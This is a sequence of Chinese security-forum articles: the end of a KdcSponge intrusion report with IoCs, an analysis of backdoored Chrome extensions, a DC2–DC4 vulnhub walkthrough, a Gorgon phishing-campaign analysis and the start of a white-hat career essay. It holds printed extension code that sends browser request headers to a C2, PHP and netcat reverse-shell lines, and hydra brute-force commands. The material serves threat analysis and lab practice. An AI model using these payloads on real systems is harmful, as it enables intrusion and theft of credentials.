41 57 48 8d 6c 24 f0 48 81 ec 10 01 00 00 48 8b 05 a5
kdcsvc.KerbHashPasswordEx3 | 48 89 5c 24 08 48 89 74 24 10 48 89 7c 24 18 55
41 56 41 57 48 8b ec 48 83 ec 50 48 8b da 48 8b
kdcpw.KerbHashPasswordEx3 | 48 89 5c 24 08 48 89 74 24 10 48 89 7c 24 18 55 41
56 41 57 48 8b ec 48 83 ec 50 48 8b da 48 8b
kdcpw.KerbFreeKey | 48 89 5c 24 08 57 48 83 ec 20 48 8b d9 33 c0 8b 49 10 48
8b 7b 18 f3 aa 48 8b 4b 18 ff 15 72 19
kdcsvc.KerbFreeKey | 48 89 5c 24 08 57 48 83 ec 20 48 8b 79 18 48 8b d9 48 85
ff 0f 85 00 c5 01 00 33 c0 48 89 03 48
如果域控制器运行的是Windows Server 2008或Server
2012（主要版本6），KdcSponge不会接触到符号服务器，而是会在整个`kdcsvc.dll`模块中搜索表2中列出的字节序列以查找API函数。
Function | Hex bytes
---|---
kdcsvc.KdcVerifyEncryptedTimeStamp | 48 89 5C 24 20 55 56 57 41 54 41 55 41 56
41 57 48 8D 6C 24 F9 48 81 EC C0 00 00 00 48 8B
kdcsvc.KerbHashPasswordEx3 | 48 89 5C 24 08 48 89 74 24 10 48 89 7C 24 18 55
41 56 41 57 48 8B EC 48 83 EC 40 48 8B F1
kdcsvc.KerbFreeKey | 40 53 48 83 EC 20 48 8B D9 48 8B 49 10 48 85 C9 0F 85 B4
B9 01 00 33 C0 48 89 03 48 89 43
一旦找到`KdcVerifyEncryptedTimeStamp`、`KerbHashPasswordEx3`和`KerbFreeKey`函数，该样本将尝试钩住这些函数，以监视对它们的所有调用，意图窃取凭据。当向域控制器发出身份验证请求时，将调用Kerberos服务（KDC服务）中的这些函数，示例将捕获入站凭据。然后将凭据写入以下位置的磁盘：
`%ALLUSERPROFILE%\Microsoft\Windows\Caches\system.dat`
被盗凭证使用单字节异或算法加密，使用0x55作为密钥，并按以下结构每行写入system.dat文件：
`[<timestamp>]<domain><username><cleartextpassword>`
## 归因
虽然归因仍在进行中，我们无法确认攻击行为背后的参与者，但我们确实观察到了我们分析的案例中使用的战术和工具与威胁组织3390（TG-3390，Emissary
Panda，APT27）之间的一些相关性。
具体而言，正如SecureWorks在一篇关于先前[TG-3390](https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage)操作的文章中所记录的，我们可以看到TG-3390在利用合法被盗凭证进行横向移动和攻击域控制器之前，同样使用了web攻击和另一种流行的称为ChinaChopper的中文webshell作为其初始立足点。虽然WebShell和漏洞利用有所不同，但一旦攻击者实现了对环境的访问，我们注意到他们的一些过滤工具中存在重复。
SecureWorks表示，攻击者正在使用WinRar伪装为不同的应用程序，将数据拆分为Recycler目录中的RAR归档文件。他们从部署用于执行此工作的批处理文件中提供了以下代码段：
@echo off
c:\windows\temp\svchost.exe a -k -r -s -m5 -v1024000 -padmin-windows2014 “e:\recycler\REDACTED.rar” “e:\ProgramData\REDACTED\”
Exit
从我们对最近针对ManageEngine ADSelfService
Plus的攻击的分析中，我们发现到了相同的技术——将相同的参数顺序和位置传递给重命名的WinRar应用程序。
@echo off
dir %~dp0>>%~dp0\log.txt
%~dp0\vmtools.exe a -k -r -s -m5 -v4096000 -pREDACTED "e:\$RECYCLE.BIN\REDACTED.rar" "E:\Programs\REDACTED\REDACTED"
一旦文件被暂存，在这两种情况下，它们都可以在面向外部的web服务器上访问。然后，攻击者将通过直接HTTP GET请求下载它们。
## 结论
2021年9月，Unit42 观察到一次攻击活动，攻击者利用Zoho的ManageEngine产品ADSelfService
Plus中最近修补的漏洞（在CVE-2021-40539中跟踪）初步访问目标组织。技术、国防、医疗保健、能源和教育行业中至少有九家实体在这次攻击活动中受到了损害。
攻击后，攻击者迅速在网络中横向移动，并部署多个工具来运行命令，以执行攻击后活动。参与者非常依赖Godzilla
webshell，在操作过程中将开放源代码webshell的几个变体上传到受损服务器。
其他一些工具具有新颖的特性，或者在以前的攻击中没有公开讨论，特别是NGLite后门和KdcSponge stealer。
例如，NGLite后门使用一种新的C2通道，该通道使用称为NKN的分散网络，而KdcSponge窃取器钩住未记录的函数，从入站Kerberos身份验证尝试中获取凭据到域控制器。
Unit
42认为，攻击者的主要目的是获得对网络的持久访问，以及从受损组织收集和过滤敏感文档。攻击者将敏感文件收集到暂存目录，并在Recycler文件夹中创建了受密码保护的多卷RAR存档。攻击者通过直接从面向外部的web服务器下载单个RAR档案来过滤文件。
## IoCs
### Dropper SHA256
b2a29d99a1657140f4e254221d8666a736160ce960d06557778318e0d1b7423b
5fcc9f3b514b853e8e9077ed4940538aba7b3044edbba28ca92ed37199292058
### NGLite SHA256
805b92787ca7833eef5e61e2df1310e4b6544955e812e60b5f834f904623fd9f
3da8d1bfb8192f43cf5d9247035aa4445381d2d26bed981662e3db34824c71fd
5b8c307c424e777972c0fa1322844d4d04e9eb200fe9532644888c4b6386d755
3f868ac52916ebb6f6186ac20b20903f63bc8e9c460e2418f2b032a207d8f21d
### Godzilla Webshell SHA256
a44a5e8e65266611d5845d88b43c9e4a9d84fe074fd18f48b50fb837fa6e429d
ce310ab611895db1767877bd1f635ee3c4350d6e17ea28f8d100313f62b87382
75574959bbdad4b4ac7b16906cd8f1fd855d2a7df8e63905ab18540e2d6f1600
5475aec3b9837b514367c89d8362a9d524bfa02e75b85b401025588839a40bcb
### KdcSponge SHA256
3c90df0e02cc9b1cf1a86f9d7e6f777366c5748bd3cf4070b49460b48b4d4090
b4162f039172dcb85ca4b85c99dd77beb70743ffd2e6f9e0ba78531945577665
### 攻击者IP地址
24.64.36 [.]238
([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=24.64.36%5B.%5D238))
45.63.62[.]109([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=45.63.62%5B.%5D109))
45.76.173[.]103([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=45.76.173%5B.%5D103))
45.77.121[.]232([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=45.77.121%5B.%5D232))
66.42.98[.]156([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=66.42.98%5B.%5D156))
140.82.17[.]161([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=140.82.17%5B.%5D161))
149.28.93[.]184([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=149.28.93%5B.%5D184))
149.248.11[.]205([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=149.248.11%5B.%5D205))
199.188.59[.]192([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=199.188.59%5B.%5D192))
### 注册表项
`Software\Microsoft\Windows\CurrentVersion\Run\ME_ADManager.exe
Software\Microsoft\Windows\CurrentVersion\Run\ME_ADAudit.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\KDC
Service`
### Additional Resources
[KdcSponge ATOM](https://unit42.paloaltonetworks.com/atoms/kdcsponge/) [Threat
actor DEV-0322 exploiting ZOHO ManageEngine ADSelfService
Plus](https://www.microsoft.com/security/blog/2021/11/08/threat-actor-dev-0322-exploiting-zoho-manageengine-adselfservice-plus/)
* * * | 社区文章 |
**作者：gaoya@360高级攻防实验室
原文链接：<http://noahblog.360.cn/ua-switcher/>**
## 概述
近日，有[reddit用户反映](https://www.reddit.com/r/chrome/comments/j6fvwm/extension_with_100k_installs_makes_your_chrome/)，拥有100k+安装的Google
Chrome扩展程序 User-Agent Switcher存在恶意点赞facebook/instagram照片的行为。
除User-Agent Switcher以外，还有另外两个扩展程序也被标记为恶意的，并从Chrome商店中下架。
目前已知受影响的扩展程序以及版本：
* User-Agent Switcher
* 2.0.0.9
* 2.0.1.0
* Nano Defender
* 15.0.0.206
* Nano Adblocker
* 疑为 1.0.0.154
目前，Google已将相关扩展程序从 Web Store 中删除。Firefox插件则不受影响。
## 影响范围
Chrome Webstore显示的各扩展程序的安装量如下：
* User-Agent Switcher: 100 000+
* Nano Defender: 200 000+
* Nano Adblocker: 100 000+
360安全大脑显示，国内已有多位用户中招。我们尚不清楚有多少人安装了受影响的扩展程序，但从国外社区反馈来看，安装相关插件的用户不在少数，考虑到安装基数，我们认为此次事件影响较为广泛，请广大Chrome用户提高警惕，对相关扩展程序进行排查，以防被恶意组织利用。
国外社区[用户](https://www.reddit.com/r/chrome/comments/j6fvwm/extension_with_100k_installs_makes_your_chrome/)和[研究者](https://github.com/partridge-tech/chris-blog/blob/uas/_content/2020/extensions-the-next-generation-of-malware/user-agent-switcher.md)报告了User-Agent
Switcher随机点赞facebook/Instagram照片的行为，虽然我们目前还没有看到有窃取密码或远程登录的行为，但是考虑到这些插件能够收集浏览器请求头（其中也包括cookies），我们可以合理推测，攻击者是能够利用收集到的信息进行未授权登录的。为了防止更进一步危害的发生，我们在此建议受影响的Chrome用户：
* 及时移除插件
* 检查 Facebook/Instagram 账户是否存在来历不明的点赞行为
* 检查账户是否存在异常登录情况
* 修改相关账户密码
* 登出所有浏览器会话
## Timeline
* 8月29日，User-Agent Switcher 更新 2.0.0.9 版本
* 9月7日，User-Agent Switcher 更新 2.0.1.0 版本
* 10月3日，Nano Defender作者jspenguin2017[宣布](https://github.com/NanoAdblocker/NanoCore/issues/362)将 Nano Defender 转交给其他开发者维护
* 10月7日，reddit用户 ufo56 发布[帖子](https://www.reddit.com/r/chrome/comments/j6fvwm/extension_with_100k_installs_makes_your_chrome/)，报告 User-Agent Switcher 的恶意行为
* 10月15日，Nano Defender 更新 15.0.0.206 版本，同时：
* 有开发者[报告](https://github.com/NanoAdblocker/NanoCore/issues/362#issuecomment-709386489)新开发者在商店中更新的 15.0.0.206 版本与repository中的代码不符（多了`background/connection.js`）
* uBlock开发者gorhill对新增代码进行了[分析](https://github.com/NanoAdblocker/NanoCore/issues/362#issuecomment-709428210)
## 代码分析
### User-Agent Switcher
> 影响版本：2.0.0.9, 2.0.1.0
#### 修改文件分析
User-Agent Switcher
2.0.0.8与2.0.0.9版本的文件结构完全相同，攻击者仅修改了其中两个文件：`js/background.min.js`和`js/JsonValues.min.js`。
三个版本文件大小有所不同
文件结构相同
##### background.min.js
`js/background.min.js` 中定义了扩展程序的后台操作。
攻击者修改的部分代码
完整代码如下所示。
// 完整代码
// 发起到 C2 的连接
var userAgent = io("https://www.useragentswitch.com/");
async function createFetch(e) {
let t = await fetch(e.uri, e.attr),
s = {};
return s.headerEntries = Array.from(t.headers.entries()),
s.data = await t.text(),
s.ok = t.ok,
s.status = t.status,
s
}
// 监听“createFetch”事件
userAgent.on("createFetch", async function (e) {
let t = await createFetch(e);
userAgent.emit(e.callBack, t)
});
handlerAgent = function (e) {
return -1 == e.url.indexOf("useragentswitch") && userAgent.emit("requestHeadersHandler", e), {
requestHeaders: JSON.parse(JSON.stringify(e.requestHeaders.reverse()).split("-zzz").join(""))
}
};
// hook浏览器请求
chrome.webRequest.onBeforeSendHeaders.addListener(handlerAgent, {
urls: ["<all_urls>"]
}, ["requestHeaders", "blocking", "extraHeaders"]);
1234567891011121314151617181920212223242526
攻击者添加的代码中定义了一个到 `https://www.useragentswitch.com`
的连接，并hook了浏览器的所有网络请求。当url中未包含 `useragentswitch`
时，将请求头编码后发送到C2。除此之外，当js代码接收到“createFetch”事件时，会调用 `createFetch`
函数，从参数中获取uri等发起相应请求。
由此我们推测，如果用户安装了此插件，C2通过向插件发送“createFetch”事件，使插件发起请求，完成指定任务，例如reddit用户提到的facebook/instagram点赞。攻击者能够利用此种方式来获利。
插件发起的网络请求（图片来自reddit）
在处理hook的请求头时，js代码会替换掉请求头中的 `-zzz` 后再发送，但我们暂时无法得知这样操作的目的是什么。
User-Agent Switcher 2.0.0.9 和 2.0.1.0 版本几乎相同，仅修改了 `js/background.min.js`
文件中的部分代码顺序，在此不做多述。
#### JsonValues.min.js
`js/JsonValues.min.js`
中原本为存储各UserAgent的文件。攻击者在文件后附加了大量js代码。经过分析，这些代码为混淆后的[socketio客户端](https://github.com/socketio/socket.io-client)。
攻击者添加的js代码
### Nano Defender
> 影响版本：15.0.0.206
在Nano Defender中，攻击者同样修改了两个文件：
background/connection.js
background/core.js
12
其中，`background/connection.js` 为新增的文件，与User-Agent Switcher中的
`js/JsonValues.min.js` 相同，为混淆后的socketio客户端。
#### core.js
`background/core.js` 与User-Agent Switcher中的 `js/background.min.js`
相似，同样hook浏览器的所有请求并发送至C2（`https://def.dev-nano.com/`），并监听`dLisfOfObject`事件，发起相应请求。
background/core.js
部分修改代码
与User-Agent
Switcher不同的是，在将浏览器请求转发至C2时，会使用正则过滤。过滤原则为C2返回的`listOfObject`，如果请求头满足全部条件，则转发完整的请求头，否则不予转发。
可以看出，攻击者对原本的转发策略进行了优化，从最初的几乎全部转发修改为过滤转发，这使得攻击者能够更为高效地获取感兴趣的信息。
同样地，`core.js`在发送请求头之前，会删除请求头中的`-zzz`字符串。只是这次`core.js`做了简单混淆，使用ASCII数组而非直接的`-zzz`字符串。
var m = [45,122,122,122]
var s = m.map( x => String.fromCharCode(x) )
var x = s.join("");
var replacerConcat = stringyFy.split(x).join("");
var replacer = JSON.parse(replacerConcat);
return {
requestHeaders: replacer
}
12345678
uBlock的开发者gorhill对此代码进行了比较详细的[分析](https://github.com/NanoAdblocker/NanoCore/issues/362#issuecomment-709428210)，我们在此不做赘述。
### Nano Adblocker
> 影响版本：未知
尽管有[报告](https://chris.partridge.tech/2020/extensions-the-next-generation-of-malware/help-for-users/)提到，Nano Adblocker 1.0.0.154
版本也被植入了恶意代码，但是我们并没有找到此版本的扩展程序文件以及相关资料。尽管该扩展程序已被下架，我们仍旧无法确认Google商店中的插件版本是否为受影响的版本。第三方网站显示的[版本历史](https://www.crx4chrome.com/history/77597/)中的最后一次更新为2020年8月26日，版本号为1.0.0.153。
Nano
Adblocker 更新历史
## 版本历史
由于各插件已被Google下架，我们无法从官方商店获取插件详情。根据第三方网站，User-Agent Switcher
[版本历史](https://www.crx4chrome.com/history/86649/)如下：
可以看到，第一个存在恶意功能的插件版本2.0.0.9更新日期为2020年8月29日，而插件连接域名useragentswitch[.]com注册时间为2020年8月28日。
第三方网站显示的 Nano Defender
[版本历史](https://www.crx4chrome.com/history/62766/)显示，攻击者在2020年10月15日在Google Web
Store上更新了15.0.0.206版本，而C2域名`dev-nano.com`注册时间为2020年10月11日。
## 关联分析
我们对比了User-Agent Switcher和Nano Defender的代码。其中，`js/background.js` (from ua
switcher)和`background/core.js` (from nano defender) 两个文件中存在相同的代码。
左图为ua
switcher 2.0.0.9新增的部分代码，右图为nano defender新增的部分代码
可以看到，两段代码几乎完全相同，仅对变量名称、代码布局有修改。此外，两段代码对待转发请求头的操作相同：都替换了请求头中的`-zzz`字符串。
左图为ua
switcher 2.0.0.9，右图为nano defender
由此，我们认为，两个（或三个）扩展程序的始作俑者为同一人。
Nano
Defender新开发者创建了自己的[项目](https://github.com/nenodevs/uBlockProtector)。目前该项目以及账户（nenodevs）均已被删除，因此我们无法从GitHub主页获取到有关他们的信息。
攻击者使用的两个域名都是在插件上架前几天注册的，开启了隐私保护，并利用CDN隐藏真实IP，而他们在扩展程序中使用的C2地址
`www.useragentswitch.com` 和 `www.dev-nano.com` 目前均指向了namecheap的parkingpage。
图片来自360netlab
Nano Defender原作者称新开发者是来自土耳其的开发团队，但是我们没有找到更多的信息证实攻击者的身份。
## 小结
攻击者利用此类插件能达成的目的有很多。攻击者通过请求头中的cookie，能够获取会话信息，从而未授权登录；如果登录银行网站的会话被截取，用户资金安全将难保。就目前掌握的证据而言，攻击者仅仅利用此插件随机点赞，而没有更进一步的操作。我们无法判断是攻击者本身目的如此，或者这只是一次试验。
窃取用户隐私的浏览器插件并不罕见。早在2017年，在[v2ex论坛](https://www.v2ex.com/t/389340?from=timeline&isappinstalled=0)就有用户表示，Chrome中另一个名为
`User-Agent Switcher`
的扩展程序可能存在未授权侵犯用户隐私的恶意行为；2018年卡巴斯基也发布了一篇关于Chrome恶意插件的[报告](https://securelist.com/a-mitm-extension-for-chrome/86057/)。由于Google的审核流程并未检测到此类恶意插件，攻击者仍然可以通过类似的手法进行恶意活动。
## IoCs
f45d19086281a54b6e0d539f02225e1c -> user-agent switcher 2.0.0.9
6713b49aa14d85b678dbd85e18439dd3 -> user-agent switcher 2.0.0.9
af7c24be8730a98fe72e56d2f5ae19db -> nano defender 15.0.0.206
useragentswitch.com dev-nano.com
## References
<https://www.reddit.com/r/chrome/comments/j6fvwm/extension_with_100k_installs_makes_your_chrome/>
<https://www.reddit.com/r/cybersecurity/comments/jeekgw/google_chrome_extension_nano_defender_marked_as/>
<https://github.com/jspenguin2017/Snippets/issues/5>
<https://github.com/NanoAdblocker/NanoCore/issues/362>
<https://github.com/partridge-tech/chris-blog/blob/uas/_content/2020/extensions-the-next-generation-of-malware/user-agent-switcher.md>
[https://www.v2ex.com/t/389340?from=timeline&isappinstalled=0](https://www.v2ex.com/t/389340?from=timeline&isappinstalled=0)
* * * | 社区文章 |
# DC2-DC4：vulnhub靶机渗透测试
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 靶机环境及下载
dc1-dc6靶机下载地址:<http://www.five86.com/>
DC2靶机ip:192.168.56.160
DC3靶机ip:192.168.56.161
DC4靶机ip:192.168.56.162
说明:获取目标主机的flag
## 知识点
nmap扫描
hydra爆破
cewl密码生成
git shell
joomla SQL注入
linux拒绝服务提权
命令注入
teehee root shell
## 渗透测试
### DC2
第一步使用nmap扫描目标网络端口服务
`namp -A 192.168.56.160`
经扫描目标只开放80端口，从扫描结果看出还需要设置hosts文件才能访问，添加好hosts
访问<http://dc-2> 页面是一个wordpress，看见了flag1，flag1给出提示密码在这页面上
使用cewl生成密码
`cewl -w dc2_passwords.txt http://dc-2`
有密码了但没有用户名呀,wpscan扫描
扫描结果得到了三个用户名admin,tom,jerry得到用户名和密码之后就开始爆破
`hydra -L dc-2_user.txt -P dc-2_password.txt dc-2 http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'`
使用jerry账户登录才能得到flag2
由于权限的限定不能给他反弹个shell,我再次对目标网络端口进行扫描结果发现了ssh端口7744
使用tom成功登录
`ssh [[email protected]](mailto:[email protected]).160 -p 7744`
出现-rbash: id: command not found 参考<https://www.anquanke.com/post/id/173159>
里面的绕过
导入$PATH
`export PATH=/usr/sbin:/usr/bin:/sbin:/bin`
切换jerry用户找到了flag4.txt,提示可以git提权参考<https://gtfobins.github.io/gtfobins/git/>
### DC3
访问<http://192.168.56.161>
此框架为joomla,使用joomscan工具扫描检测到版本为3.7.0
此版本有个SQL注入直接使用[工具](https://github.com/XiphosResearch/exploits/tree/master/Joomblah)
或者手工注入
得到了admin的hash密码，爆破一下得到密码snoopy，登录,接下来反弹shell
写入代码
<?php
system(‘rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.1
1337 >/tmp/f’);
?>
访问<http://192.168.56.161/templates/protostar/shell.php> 即可反弹shell
查看linux版本lsb_relase -a
接下来使用[linux拒绝服务漏洞进行提权](https://www.exploit-db.com/exploits/39772)
### DC4
使用namp扫描
目标开放了22,80两个端口
访问80端口 <http://192.168.56.162>
说用admin登录，而且看出没有什么限制爆破一下
`hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.56.162 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F`
得到了密码happy,登录之后可以看到能够执行ls -l, du -h,df -h这三个命令，可以看出可能存在命令注入漏洞。
使用burp抓包,修改radio参数里面的内容，反弹shell
`nc -e /bin/sh 192.168.56.1 1234`
在home目录找到三个用户charles, jim,sam,结果在jim用户下找到一个password文件
复制下来进行爆破
`hydra -L dc4-user.txt -P dc4-password.txt -t 6 ssh://192.168.56.162`
切换为jim用户,读取用户下的mbox，为一个邮件
去/var/mail/下得到charles的密码
再次切换用户
sudo -l 却提示可以看到可以使用teehee进行root shell，将他写入crontab计划任务中 | 社区文章 |
# Gorgon黑客组织再显新招：通过在线网盘发起“三重奏”攻击
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
近日，奇安信威胁情报中心红雨滴团队在日常的样本监控过程中，发现了一个以微软名称命名的攻击文档，并在随后的关联分析中发现，此次攻击活动疑似来自一个名为Gorgon的攻击组织，而Gorgon是一个被认为来自南亚某国家的攻击组织，PAN公司的Unit42团队将该攻击活动命名为Aggah。
本次活动中涉及的样本，除了使用该活动的招牌手段：Blogspot博客页面隐藏恶意载荷之外，还使用了三层Pastbin嵌套的方式获取最终的载荷。
由于该攻击组织不仅会针对全球政府发起攻击，还会针对全球外贸单位或个人发起攻击，且某些攻击活动中邮件还会带有中文诱饵字样，可能存在针对国内的目标，本文中我们披露此次攻击活动希望有助于公众提升对于此威胁的防范意识，同时与安全业界一起完善威胁拼图。
## 诱饵分析
本次最新捕获的样本名为Microsoft_activity_report.xls，中文翻译为“微软活动报告”，样本为美国上传，暂未更多线索证明是否为针对微软提供商或政府部门的攻击。
而本系列的攻击样本均采用了一张图片，当文档使用除了Office以外的表格编辑器打开，例如WPS、Hancom等，即会显示下面的图片提示诱导用户使用低版本的Excel打开文档，目前看来这是该组织近一个月来的攻击策略。
若在Office下打开，则会直接弹出提示框要求启用宏。
而该样本的传播方式疑似通过邮件内包含URL链接的方式进行投放。据分析，该文档来该URL：hxxp://www.jacosgallery.com/Microsoft_activity_report.xls，而该主站为一个光头男子的木匠日志博客。
但由于光头男子和他的木头作品作为网站模版，在外网中频繁出现，因此判断该站点为攻击者自行搭设。
## 样本分析
本次活动中，恶意文档中混淆后的宏代码与以往Gordon组织的截然不同，该组织以前曾采用的远程加载宏代码的模式在本次活动中并没有出现。
样本的具体流程与数字对应解释如下所示。
* 打开样本，点击启用宏
* 在解混淆后，可见实际执行的命令为 mshta http://www.bitly.com/LdsaKLX9GTSDLX
* 而该短链接执行的链接为<https://xasnniejxlasx.blogspot.com/p/3.html>，页面上显示意义不明的字母，从源码可见，实际上mshta执行的为图中的javascript代码。
* 通过urldecode解码和字符串反转后，可以发现代码会第一次通过mshta去加载
<https://pastebin.com/raw/HX72131y>
可见代码仍为编码状态。
* 紧接着，在进一步解码后，发现又会出现一段脚本。
脚本首先会调用cmd尝试通过删除签名集的方式组织Windows
Defender来组织其运行，并尝试杀掉与Defender相关的进行和office的进程等等。
并将即将访问的新的Pastebin网址
http://pastebin.com/raw/Cbt2DYUh写入注册表进行定期启动，并调用WScript执行新的网址代码。
同时编写计划任务，定期调用WScript获取<https://pastebin.com/raw/rwgtwLMg>的数据并解码运行
* 而Cbt2DYUh同样为编码模式，解开后也是访问rwgtwLMg
* 而rwgtwLMg是一段明显具有PE特征的未解码前的样本
* 经过分析，该样本使用C#编写，互斥量为RV_MUTEX-WindowsUpdateSysten32的RevengeRAT远控木马，其中Systen32存在拼写错误。
内置信息收集等模块。
具体简易流程图如下所示。
## 同源分析
通过木马分析流程，对比Unit42团队在今年4月份发布的报告中，可以发现其延续了使用blogspot隐藏代码并通过mshta.exe运行的特点，但本次通过直接解码后，通过连续访问三次Pastebin获取代码的操作并未在此前的活动中出现。
而后续中释放的RevengeRAT也与Unit42报告中的一致。
并且，通过查阅腾讯御见威胁情报中心在1月份发布的关于Gorgon组织报告中称，当时所使用的为blogspot的订阅功能来保存恶意代码，因此可以确定本次活动与Gorgon组织关联甚大。
可见，该组织使用blogspot作为载体为其主要特点，通过在线博客进行载荷传递可以更好的及时变更后续发放的木马。
此外，通过一些特征进行关联，可以发现一些近期的同源诱饵文档，名称多与外贸行业相关。
Invoice.xls
Invoice and date.xls
PurchaseXOrder.xls
Invoice.xls
Purchase Agreement.xlS
Payment Slip.xls
捕获的邮件中，针对外贸行业的内容。
在分析过程中，有一个名为“MySexoPhone”的单词格外惹眼，该短句中含有一个o字，因此高度怀疑该词与攻击者有关系。
通过对该词进行搜索后，发现该团伙使用了以该单词为子域名的博客链接进行攻击
mysexophone.blogspot.com
同时，我们发现了一个名为MARIACDT的用户上传了该脚本：
进一步分析发现，该组织会在该账号上面放置大量木马和恶意文档，并且其中有很多未公诸于世。并且访问次数千余次，猜测受害者数量可达数千人。
其中从命名不乏可以看出攻击者习惯使用释放木马的功能来进行命名。
并且还有一些有趣的进行字符替换的攻击脚本
至此，目前从公开渠道获取的关于该组织的内部代号有以下几个：
MARIACDT
HAGGA
Oldman
Steve
roma225
## 总结
Gorgon，一个被认为来自南亚某国家的黑客组织，其目标涉及全球政府，外贸等行业，且目的不纯粹为了金钱，还可能与政治相关。
而从本次活动中进行延伸，所发现的一些未公诸于世的安全事件，也足以说明从单独一件安全事件的表面，不进行线索深挖，并不能看到一件安全事件背后关联的更多的攻击和活动。
目前奇安信集团全线产品，包括天眼、SOC、态势感知、威胁情报平台，支持对涉及Gorgon组织的攻击活动检测，并且奇安信安全助手支持对该组织的样本进行拦截。
## IOC
### 近期活动诱饵文档
cb838037905a3382a83f83ad8aa89557
ad966af7ec29412c3bd3d849d0b9cf39
52c38a2241657c69b5d465713ca18192
c0e1b02647315fff567ae271da30c648
a8a8d792f404ecf97d0df751f6832bcf
ca2fcb72fb937541a701bd1bfc76d411
444cc47b9b44dc1606e58054bc56c471
02136c64091e48bc9ccdb392a439718e
adc2a8990f956531e2ac5caf67f233ad
c599a61f18ad70d5549aa1479d8da55e
fb909ab56b29e9ff186434193561ee23
### RevengeRAT
de3ae143782408c4fe7c833414f05f28
### URL
https://mysexophone.blogspot.com/
<https://createdbymewithdeniss.blogspot.com/p/john2formbook.html>
<https://xasnniejxlasx.blogspot.com/p/3.html>
[ahusdhailisjdiajsw.blogspot.com](https://www.virustotal.com/gui/search/behaviour_network%253A%2522ahusdhailisjdiajsw.blogspot.com%2522)
[http://hold-v02.ga/PTJ3315MIC.xls](https://www.virustotal.com/gui/url/51ed361ed753ccd51cc18af814e2ef323845edd48b9447a4b6d31861548fa1e9)
http://www.jacosgallery.com/Microsoft_activity_report.xls
[http://www.bi0l0.com/LdswraHmaKExmeSDE](https://www.virustotal.com/gui/url/f781219771dfe5c348ed8d0d4b20160b61e0c88443e6a4ce3480b4d259abe792)
[http://www.bitl4.com/Ldsw3aHmaKE6meSDE](https://www.virustotal.com/gui/url/d95d4ca68c8435f49ecb817ebaa715916ce88e87700ddb5cbba17d5640de8f20)
[lninbgsfxtgtrwfg.blogspot.com](https://www.virustotal.com/gui/search/behaviour_network%253A%2522lninbgsfxtgtrwfg.blogspot.com%2522)
### C2
kronozzz2.duckdns.org
microsoftoutlook.duckdns.org
[yahakhan.duckdns.org](https://www.virustotal.com/gui/search/behaviour_network%253A%2522yahakhan.duckdns.org%2522)
[tonypp.duckdns.org:8000](https://www.virustotal.com/gui/search/behaviour_network%253A%2522tcp%253A%252F%252Ftonypp.duckdns.org%253A8000%2522)
zoebin.duckdns.org
## 参考链接：
[1] Aggah Campaign: Bit.ly, BlogSpot, and Pastebin Used for C2 in Large Scale
Campaign
<https://unit42.paloaltonetworks.com/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign/>
[2] 疑似Gorgon组织使用Azorult远控木马针对中国外贸行业的定向攻击活动
<https://s.tencent.com/research/report/624.html> | 社区文章 |
# 【走心分享】白帽成长建议
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
ASRC网站已上线6年，截止今天，根据排行榜显示2019年有668名白帽为ASRC上报有贡献值的安全风险。
相遇是缘，很多白帽成了朋友。6年来朋友们来来回回，有的成了同事，有的在友商努力，有的变身创业大拿，也有的转行地产销售、网站开发、网红、种水果等。
很多人已经离开这个圈子，祝福他们；更多人还在，所以我们今天想聊下入圈不久的小伙伴们常有的疑惑，白帽该如何成长？尝试从几个角度谈谈抛砖引玉，希望对白帽有所启发。
**「一」找好方向** 方向有什么用？决定了你在碰到一门新知识时，是好好研究它还是随意了解下甚至不管它。
从能力本源讲，漏洞挖掘是白帽的基础能力，衍生出来，白帽一般可以选择三个技术方向成长：
1.漏洞挖掘专业方向的深度能力：不管是web还是iot，不管是java还是php，你若能研究透对这个方向滚瓜烂熟总成大牛，其中需要有对代码能力的熟练掌握，也需要对官方文档的详细解读，大多数特性不是靠fuzz出来的，而是懂安全的人读文档发现了设计的缺陷，多掌握几个你就有核武器了；
2.漏洞挖掘跨越领域的横向能力：web做多了总会碰到一些app项目，iot的活动也时有碰到，神挡杀神，见招拆招，都研究了一遍之后你发现没有攻不破的系统，只有你还没开始研究的漏洞，跨领域往往会有普遍浅尝则止的问题，建议无论挖什么方向，都往那些能评成高危级别的漏洞看；
3.从攻击方转向防御：有时候你会发现有些人根本不懂漏洞，你让他修个xss他屏蔽了alert参数，如果作为防御方，有时你需要把队友的能力尽量低估，而对自己的要求无限放高，这个漏洞若你来修补应该是怎样，安全开发生命周期又该学些什么做些什么，研究多了你就是企业安全防御专家，大多数企业非常需要这样的角色；
我们再看企业设岗，对于白帽来说相对匹配的，一般会有基于漏洞本身的漏洞分析研究、自动化挖掘（扫描器）岗位，基于漏洞利用的渗透红队岗位，基于漏洞防御的安全攻防运营&蓝队岗位，以及安全服务专家、攻防社区运营专家岗位。运营是个很广泛的概念，技术运营岗也是技术。
在笔者看来进入一家企业和创业有一个共同点，是你需要找准一个点或一个方向。能力契合相对会顺利一点，能力不够或错位则容易难受。当然创业复杂的多。
**「二」找对方法** 方法是路径，决定了你用什么方式成长。
技术成长的方式很多，但总归来说都是在积累新的方法、经验，总不能挖洞半年还是只会用那几个xss的poc试来试去，成长三要素：学习，实践，思考。ASRC也希望你变得更厉害。成长的几个路径：
